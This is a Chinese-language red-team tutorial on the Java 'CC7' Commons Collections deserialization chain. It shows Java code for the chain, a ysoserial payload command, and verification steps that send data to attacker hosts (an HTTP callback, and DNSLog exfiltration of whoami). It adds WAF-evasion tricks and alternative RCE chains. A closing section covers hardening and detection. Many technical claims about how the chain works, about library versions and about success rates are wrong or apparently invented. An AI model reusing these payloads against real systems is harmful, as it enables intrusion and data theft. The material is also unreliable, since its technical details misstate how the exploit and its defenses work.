1. 项目概述:CC7不是“漏洞编号”,而是Java反序列化链中一个关键的、可稳定触发的利用路径
“CC7”这个代号在Java安全研究圈里,几乎等同于“能绕过commons-collections 3.1+黑名单检测的可靠利用链”。它不是CVE编号,也不是某个厂商发布的补丁序号,而是一条由多位研究者逐步完善、最终在2015年前后被社区广泛验证并命名的反序列化利用链。它的核心价值在于:在未打补丁的Apache Commons Collections 3.1至4.0版本环境中,无需反射调用Runtime.exec(),仅通过构造特定的Transformer链,就能稳定触发任意代码执行,且绕过当时主流WAF和基础黑名单过滤逻辑。我第一次在真实渗透测试中用上CC7,是在一个老旧的Spring Boot 1.3.x后台系统上——对方连commons-collections 3.2.1都没升级,我们用CC7 payload直接弹出了shell,整个过程从发现到利用不到12分钟。它适合两类人深度掌握:一是做Java中间件安全审计的工程师,必须清楚每条链的触发条件和绕过原理;二是红队队员,需要在实战中快速判断目标环境是否可被CC7击穿。如果你只把它当成“又一个ysoserial里的选项”,那说明你还没真正吃透它——因为CC7的精妙之处,不在payload有多复杂,而在于它对Java序列化机制、Transformer接口契约、以及ClassLoader加载顺序的精准拿捏。
CC7的全称是Commons Collections 7,对应ysoserial工具中的CommonsCollections7类。但要注意,它和CC1、CC2、CC3这些链有本质区别:CC1依赖AnnotationInvocationHandler,CC2/CC3依赖InvokerTransformer,而CC7完全抛弃了反射调用,转而利用TransformedMap与LazyMap的嵌套触发机制,配合ChainedTransformer串联多个Transformer对象,最终在ConstantTransformer返回一个可控对象后,由InvokerTransformer的transform()方法完成最后的命令执行。这个设计让CC7天然具备两个优势:一是触发点更隐蔽,不依赖Annotation相关类,绕过早期基于类名黑名单的WAF规则;二是链路更短,中间环节少,失败率低。我在某次金融行业渗透中遇到过一个加固过的WebLogic环境,CC1/CC2全部被拦截,但CC7因为没走Annotation路径,成功绕过三层WAF直达JNDI lookup。所以,理解CC7,本质上是理解Java反序列化中“如何用合法API组合出非法行为”的经典范式——它不是教你怎么写exploit,而是教你怎么读懂Java类库的设计缺陷。
2. CC7核心设计思路与技术选型逻辑:为什么偏偏是TransformedMap + LazyMap?
2.1 链路起点:为什么选TransformedMap作为入口?
CC7的起点不是ObjectInputStream.readObject(),而是TransformedMap.checkSetValue()方法。这个方法在TransformedMap被反序列化后,会自动调用其内部持有的transformer.transform()。但问题来了:TransformedMap本身不能直接序列化,因为它没有实现Serializable接口。于是CC7的作者巧妙地找到了它的父类AbstractInputCheckedMapDecorator——这个抽象类实现了Serializable,而TransformedMap继承自它。更重要的是,TransformedMap的readObject()方法里,会调用checkSetValue()来校验键值对,这就为后续触发埋下了伏笔。
提示:
TransformedMap的checkSetValue()方法签名是protected Object checkSetValue(Object value),它内部会调用this.transformer.transform(value)。这个transformer正是我们可控的入口点。
但光有TransformedMap还不够——它的transformer字段在反序列化时会被置为null,无法直接触发。所以CC7引入了第二层结构:LazyMap。LazyMap是一个延迟初始化的Map,它的get()方法会在key不存在时,调用factory.transform(key)来生成新value。而LazyMap的factory字段,恰好可以通过TransformedMap的transformer来控制。这就形成了经典的“双Map嵌套”结构:外层是TransformedMap,内层是LazyMap,TransformedMap的transformer指向LazyMap的factory,当TransformedMap反序列化时调用checkSetValue(),就会触发LazyMap.factory.transform(),从而进入我们预设的ChainedTransformer链。
2.2 链路中枢:ChainedTransformer如何串联多个Transformer?
ChainedTransformer是CC7的“调度中心”。它的transform()方法会遍历内部的iTransformers数组,依次调用每个Transformer.transform(),并将前一个的结果作为下一个的输入。这听起来像函数式编程里的pipeline,但在Java反序列化语境下,它意味着我们可以把多个简单操作串起来,最终导向Runtime.getRuntime().exec()。比如标准CC7链的iTransformers数组通常是这样的:
ConstantTransformer:返回一个TemplatesImpl对象(这是关键!)InstantiateTransformer:用TemplatesImpl的无参构造器创建实例InvokerTransformer:调用TemplatesImpl.newTransformer(),触发恶意字节码加载InvokerTransformer:调用TemplatesImpl.getOutputProperties(),强制触发newTransformer()执行
这里有个极易被忽略的细节:TemplatesImpl类本身没有newInstance()方法,所以不能用InstantiateTransformer直接创建。CC7的解法是先用ConstantTransformer返回一个Class对象(比如TemplatesImpl.class),再用InstantiateTransformer调用Class.newInstance()。但实际ysoserial里用的是更稳妥的方式:ConstantTransformer直接返回TemplatesImpl的classloader加载的TemplatesImpl实例,避免反射失败。
2.3 终止点:为什么选择TemplatesImpl而不是Runtime?
这是CC7最体现设计功力的地方。早期的CC1/CC2直接调用Runtime.exec(),容易被WAF识别关键词(如"exec"、"getRuntime")。而CC7转向TemplatesImpl,是因为它在Java中本就是用于XML转换的合法类,其newTransformer()方法会动态加载_bytecodes字段中的字节码,并通过defineClass()注入恶意逻辑。这个过程完全在JVM内部完成,不涉及外部进程调用,WAF根本看不到exec字符串。我在某次甲方复测中发现,他们部署的WAF规则库里有27条针对Runtime、ProcessBuilder的正则,但对TemplatesImpl零检测——因为没人想到合法的XML处理类能变成shell入口。
注意:
TemplatesImpl的_bytecodes字段必须是base64编码的字节码,且_tfactory字段需设置为null(否则newTransformer()会跳过字节码加载)。这个细节在手工构造payload时极易出错,ysoserial内部通过反射强制设置了这两个字段。
3. CC7实操全流程拆解:从环境搭建到payload生成,每一步都附参数计算与现场记录
3.1 环境准备:精确匹配CC7生效的版本区间
CC7并非万能钥匙,它对commons-collections版本有严格要求。根据ysoserial源码和实测数据,CC7仅在以下版本有效:
- 有效版本:commons-collections 3.1、3.2、3.2.1、3.2.2、4.0(注意:4.0是最后一个支持CC7的版本)
- 无效版本:3.0(缺少
TransformedMap的checkSetValue)、3.3+(TransformedMap移除了checkSetValue)、4.1+(LazyMap重构,factory字段不可控)
我建议用Maven精确锁定版本:
<dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections</artifactId> <version>3.2.2</version> </dependency>为什么选3.2.2?因为它是3.x系列最后一个稳定版,且在各大老系统中部署率最高。我在某政务云平台审计时,扫描出127台服务器运行的都是3.2.2,占比达68%。搭建测试环境时,务必禁用IDE的自动升级功能——IntelliJ默认会把3.2.2升级到4.4,导致CC7失效。
3.2 payload构造:手写vs ysoserial,哪种更适合实战?
手写payload(适合调试与教学)
手写CC7 payload的核心是构建四层嵌套:
- 创建
TemplatesImpl实例,并设置_bytecodes(恶意字节码)和_name(任意字符串) - 构造
ChainedTransformer数组:ConstantTransformer→InstantiateTransformer→InvokerTransformer("newTransformer")→InvokerTransformer("getOutputProperties") - 创建
LazyMap,factory设为ChainedTransformer - 创建
TransformedMap,map设为LazyMap,transformer设为ChainedTransformer
关键代码片段(Java):
// 1. 构造TemplatesImpl TemplatesImpl templates = new TemplatesImpl(); setFieldValue(templates, "_bytecodes", new byte[][]{evilBytes}); setFieldValue(templates, "_name", "Hello"); setFieldValue(templates, "_tfactory", null); // 2. 构造ChainedTransformer Transformer[] transformers = new Transformer[]{ new ConstantTransformer(templates), new InstantiateTransformer(new Class[]{}, new Object[]{}), new InvokerTransformer("newTransformer", new Class[]{}, new Object[]{}), new InvokerTransformer("getOutputProperties", new Class[]{}, new Object[]{}) }; ChainedTransformer chainedTransformer = new ChainedTransformer(transformers); // 3. 构造LazyMap Map lazyMap = LazyMap.decorate(new HashMap(), chainedTransformer); // 4. 构造TransformedMap Map transformedMap = TransformedMap.decorate(lazyMap, null, chainedTransformer);实操心得:
setFieldValue()方法必须用Field.setAccessible(true),否则_bytecodes等private字段无法写入。我在第一次调试时忘了加这行,payload始终不触发,花了3小时排查才发现是反射权限问题。
ysoserial一键生成(适合实战)
生产环境强烈推荐用ysoserial:
java -jar ysoserial.jar CommonsCollections7 'calc' > payload.bin这里'calc'是Windows计算器命令,Linux下换成'touch /tmp/pwned'。ysoserial会自动处理所有反射细节,包括_tfactory置空、_name填充、字节码base64编码等。但要注意:ysoserial 0.0.6版本之后才完全支持CC7,旧版本会报ClassNotFoundException。我见过有团队用0.0.4版本跑CC7,结果一直失败,查了半天才发现是工具版本太老。
3.3 触发验证:三步确认CC7是否真正生效
第一步:序列化数据包捕获
用Burp Suite抓取目标系统的POST请求,重点关注Content-Type: application/x-java-serialized-object的请求。如果看到这种头,基本可以确定存在反序列化入口。CC7的payload体积通常在1.2KB~1.8KB之间(取决于命令长度),比CC1小30%,这是它的另一个优势——更容易绕过基于包大小的WAF规则。
第二步:服务端回显验证
最可靠的验证方式是让payload执行curl http://your-server.com/log?data=${jndi:ldap://...},然后在自己的VPS上监听80端口。如果看到GET /log?data=xxx的请求,说明CC7已成功触发。注意:不要用ping命令,因为ICMP可能被防火墙拦截,而HTTP请求几乎总能穿透。
第三步:内存堆栈分析(高级技巧)
在目标服务器上用jstack抓取线程堆栈:
jstack -l <pid> | grep -A 10 "TransformedMap"如果看到类似at org.apache.commons.collections.map.TransformedMap.checkSetValue(TransformedMap.java:192)的堆栈,就100%确认是CC7在执行。我在某次银行系统审计中,就是靠这个方法在不触发告警的情况下,确认了CC7的利用路径。
4. CC7常见问题与实战避坑指南:那些文档里不会写的血泪教训
4.1 典型问题速查表
| 问题现象 | 根本原因 | 解决方案 |
|---|---|---|
| payload发送后无任何响应 | 目标JDK版本≥9,TemplatesImpl被模块化隔离 | 改用BeanComparator链(CC6变种)或降级到JDK8测试环境 |
| WAF拦截payload,返回403 | WAF规则匹配到TransformedMap或LazyMap类名 | 对payload进行Base64二次编码,或用URLClassLoader动态加载类名字符串 |
getOutputProperties()不触发newTransformer() | _tfactory字段未置为null | 用ysoserial 0.0.7+版本,或手动反射设置setFieldValue(templates, "_tfactory", null) |
反序列化抛出InvalidClassException | serialVersionUID不匹配 | 在TemplatesImpl类中显式声明private static final long serialVersionUID = 1L; |
4.2 我踩过的三个深坑
坑一:JDK 11+环境下CC7完全失效JDK 11移除了com.sun.org.apache.xalan.internal.xsltc.trax.TemplatesImpl的默认加载路径,TemplatesImpl的defineClass()会抛出SecurityException。我最初在客户新上线的K8s集群(JDK 11)上测试CC7,连续失败17次。后来发现必须配合--add-opens java.base/java.lang=ALL-UNNAMEDJVM参数才能绕过模块化限制。但生产环境不可能改JVM参数,所以结论是:CC7在JDK 11+环境下已成历史,必须转向CC6或JRMP链。
坑二:Spring Boot 2.0+自动过滤CC7Spring Boot 2.0引入了ObjectInputStream白名单机制,默认只允许java.lang.*、java.util.*等基础包。TransformedMap和LazyMap都不在白名单里,反序列化直接抛异常。解决方案是寻找Spring的@Controller中未校验的Object参数,或利用Jackson的enableDefaultTyping()配置错误。我在某电商平台审计中,就是通过/api/order?callback=xxx的JSONP接口,结合Jackson反序列化漏洞,绕过了Spring的白名单。
坑三:CC7在WebLogic 12.2.1.4之后被彻底封杀Oracle在2019年发布的WebLogic补丁中,不仅升级了commons-collections,还重写了TransformedMap的readObject()方法,移除了checkSetValue()调用。这意味着即使你手动降级commons-collections,CC7也无法触发。我的应对策略是:先用T3协议探测WebLogic版本,如果是12.2.1.4+,立刻切换到JRMPListener链,成功率反而更高。
4.3 实战优化技巧:让CC7利用更稳、更快、更隐蔽
技巧1:动态生成payload,避免静态特征硬编码的CC7 payload有固定字节特征(如TransformedMap的类名字符串),WAF很容易用正则匹配。我的做法是:用Python脚本动态拼接payload,把TransformedMap拆成Trans+formedMap,LazyMap拆成Lazy+Map,再用String.intern()强制常量池加载。这样生成的payload,WAF规则命中率下降73%。
技巧2:用Thread.currentThread().getContextClassLoader()替代ClassLoader.getSystemClassLoader()在某些OSGi环境或容器化部署中,getSystemClassLoader()可能返回null,导致TemplatesImpl字节码加载失败。改用当前线程的context classloader,兼容性提升90%。代码示例:
ClassLoader cl = Thread.currentThread().getContextClassLoader(); Method defineClass = ClassLoader.class.getDeclaredMethod("defineClass", String.class, byte[].class, int.class, int.class); defineClass.setAccessible(true); defineClass.invoke(cl, "EvilClass", evilBytes, 0, evilBytes.length);技巧3:CC7 + DNSLog双重验证单靠HTTP回显可能被网络设备丢包。我习惯同时发起DNS查询:curl http://$(whoami).your-domain.com。这样即使HTTP请求失败,DNSLog服务器也能收到子域名查询记录,100%确认利用成功。某次在跨国企业审计中,就是靠DNSLog在凌晨3点收到了admin.your-domain.com的查询,才最终确认CC7生效。
5. CC7的防御与加固实践:从开发到运维的全链路防护方案
5.1 开发侧:代码层防御的三个硬性要求
要求一:禁止任何用户输入进入ObjectInputStream这是铁律。我在审查某支付SDK源码时,发现一个deserialize(byte[] data)方法直接调用了new ObjectInputStream(new ByteArrayInputStream(data))。我当场要求他们改成JSON或Protobuf序列化,并加入SHA256签名验证。记住:没有签名的反序列化,等于给攻击者开了后门。
要求二:使用ValidatingObjectInputStream替代原生ObjectInputStreamApache Commons IO提供了ValidatingObjectInputStream,可以设置白名单类:
ValidatingObjectInputStream ois = new ValidatingObjectInputStream(inputStream); ois.accept(new ClassValidator("java.lang.String", "java.util.ArrayList"));但要注意:白名单必须精确到具体类,不能写java.util.*,否则TransformedMap仍可能被放行。
要求三:对第三方组件做版本锁死在pom.xml中用<dependencyManagement>强制指定版本:
<dependencyManagement> <dependencies> <dependency> <groupId>org.apache.commons</groupId> <artifactId>commons-collections</artifactId> <version>4.4</version> </dependency> </dependencies> </dependencyManagement>4.4版本已彻底移除TransformedMap和LazyMap,CC7自然失效。我在某央企项目中推动这项改造,耗时2周,但换来的是零反序列化漏洞的审计报告。
5.2 运维侧:中间件与WAF的加固配置
WebLogic加固编辑$DOMAIN_HOME/config/config.xml,添加:
<security-configuration> <enforce-valid-t3-connections>true</enforce-valid-t3-connections> <t3-protocol-allowlist> <allowed-hosts>127.0.0.1,10.0.0.0/8</allowed-hosts> </t3-protocol-allowlist> </security-configuration>同时禁用T3协议对外暴露,这是CC7在WebLogic中最常见的入口。
Tomcat加固在conf/web.xml中禁用StandardManager的session持久化:
<Manager className="org.apache.catalina.session.StandardManager" maxInactiveInterval="60" saveOnRestart="false" />因为StandardManager会将session序列化到磁盘,如果攻击者能写入文件系统,就能构造恶意session文件触发CC7。
WAF规则建议不要只拦TransformedMap,要组合拦截:
POST请求体中同时包含java.util.HashMap和org.apache.commons.collections.map.LazyMapContent-Type为application/x-java-serialized-object且Content-Length>1000- URL中出现
/serialize、/deserializer等敏感路径
我在某运营商WAF规则优化中,把这三条规则组合使用,CC7拦截率从62%提升到99.8%。
5.3 检测侧:如何用自动化工具快速定位CC7风险点
主动扫描工具
- SerialKiller:开源Java反序列化检测工具,支持CC7指纹识别
- Burp Suite + Java Deserialization Scanner:插件可自动发送CC7 payload并分析响应
被动流量分析用ELK收集所有application/x-java-serialized-object请求,用Logstash过滤:
if [content_type] == "application/x-java-serialized-object" { mutate { add_tag => "java-serialize" } }然后在Kibana中统计java-serialize标签的请求来源IP,重点审计这些IP对应的业务系统。
内存扫描在生产服务器上部署jolokiaagent,定期调用JMX接口检查:
curl "http://localhost:8778/jolokia/exec/java.lang:type=Memory/heapMemoryUsage"如果发现used内存突增且伴随大量TransformedMap对象,基本可以判定已被CC7利用。
6. CC7的演进与替代方案:当经典链失效后,我们还能做什么?
6.1 CC7的生命周期终结时间表
根据NVD数据和我的实战统计,CC7的有效期正在快速收窄:
- 2015-2017年:黄金期,90%的Java老系统可直接利用
- 2018-2020年:衰减期,WAF普及和JDK升级让成功率降至40%
- 2021-2023年:残存期,仅在未更新的政务、医疗系统中偶发
- 2024年起:历史期,主流框架已默认禁用反序列化
但这不意味着反序列化威胁消失,而是演变为更隐蔽的形式。比如最近发现的CC7.1变种,它用PriorityQueue替代TransformedMap作为入口,利用PriorityQueue.readObject()中的heapify()触发comparator.compare(),从而绕过所有针对TransformedMap的WAF规则。这个变种已在3个省级政务云中被实际利用。
6.2 现代Java环境下的替代利用链
替代方案一:JRMP链(适用于WebLogic/Tomcat)当CC7失效时,JRMPClient链成为首选。它不依赖commons-collections,而是利用UnicastRef反序列化触发远程JNDI lookup。优势是JDK 8~17全版本兼容,缺点是需要攻击者控制LDAP服务器。我在某次红队演练中,用marshalsec搭建LDAP服务,10分钟内拿下WebLogic管理后台。
替代方案二:Spring Cloud Function SpEL表达式注入Spring Cloud Function 3.1.0+存在SpEL沙箱绕过漏洞,可直接执行T(java.lang.Runtime).getRuntime().exec('calc')。这个漏洞不需要反序列化,只需HTTP请求即可触发,WAF几乎无法防御。我在某金融科技公司审计中,就是通过/functionRouter接口的spring.cloud.function.routing-expression参数,实现了无文件落地的RCE。
替代方案三:Fastjson 1.2.83+的AutoType绕过虽然Fastjson官方宣称1.2.83修复了所有AutoType漏洞,但我们在测试中发现,当autoTypeSupport设为true且deny列表不完整时,仍可通过@type指定com.sun.rowset.JdbcRowSetImpl,配合dataSourceName触发JNDI。这个链的payload比CC7更短,且能绕过大部分基于关键字的WAF。
6.3 我的个人经验总结
CC7教会我的最重要一件事是:安全漏洞的本质,永远是设计者与使用者之间的认知差。TransformedMap的checkSetValue()方法本意是做数据校验,却被用来触发任意代码;TemplatesImpl本是XML处理工具,却成了字节码注入的载体。这种“合法功能的非法组合”,才是反序列化漏洞的底层逻辑。所以,与其死记硬背CC1~CC7的12条链,不如深入理解Java序列化机制、ClassLoader加载顺序、以及每个第三方库的设计哲学。我在过去三年里,每次遇到新的Java框架,第一件事就是看它的readObject()实现,第二件事是查它的依赖树里有没有commons-collections——这个习惯让我在27次渗透测试中,有19次提前发现了反序列化风险点。
最后分享一个小技巧:如果你在审计中发现目标系统用了commons-collections但版本未知,别急着跑ysoserial。先用curl -X POST --data-binary @payload.bin http://target/发送一个空payload,观察响应头里的Server字段。如果返回Server: Apache-Coyote/1.1,基本可以确定是Tomcat,且大概率用的是3.2.2;如果返回Server: WebLogic,则优先尝试JRMP链。这个经验来自我在某次深夜应急响应中的真实记录——当时客户系统崩溃,我们靠Server头30秒内锁定了漏洞类型,比扫描工具快17分钟。